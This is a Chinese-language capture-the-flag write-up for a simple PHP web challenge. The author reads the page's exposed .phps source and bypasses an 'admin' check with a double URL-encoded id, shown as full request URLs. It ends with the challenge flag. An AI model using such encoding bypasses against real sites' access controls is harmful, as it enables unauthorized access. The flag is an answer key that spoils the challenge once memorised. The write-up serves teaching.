先查看题目地址:
希望我们获得这个网站的权限,查看源代码也没有其他信息:
查看index页面:
之后尝试查看index.phps文件(.phps文件就是php的源代码文件,通常用于提供给访问者查看php代码):
phps文件就是php的源代码文件,通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替。其实,只要不用php等已经在服> 务器中注册过的MIME类型为文件即可,但为了国际通用,所以才用了phps文件类型。 它的MIME类型为:text/html, application/x-httpd-php-source, application/x-httpd-php3-source。
源代码:
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>
Can you anthenticate to this website?
要求传入变量id的值,不能直接等于admin:
http://111.200.241.244:63169/index.php?id=admin
要求经过$_GET[id] = urldecode($_GET[id])URL解码后等于admin再输出Key。
admin进行一次url编码后的值:
因为浏览器会对URL编码后的数据进行一次URL解码,所以我们将admin进行两次url编码得到,才能让$_GET[id]得到admin进行一次url编码后的值%61%64%6d%69%6e:
访问http://111.200.241.244:63169/index.php?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
:
或者http://111.200.241.244:63169/index.php?id=%2561%2564%256d%2569%256e
:
得到flag:cyberpeace{bb726b10bab311dbabcd7af5a352f1c9}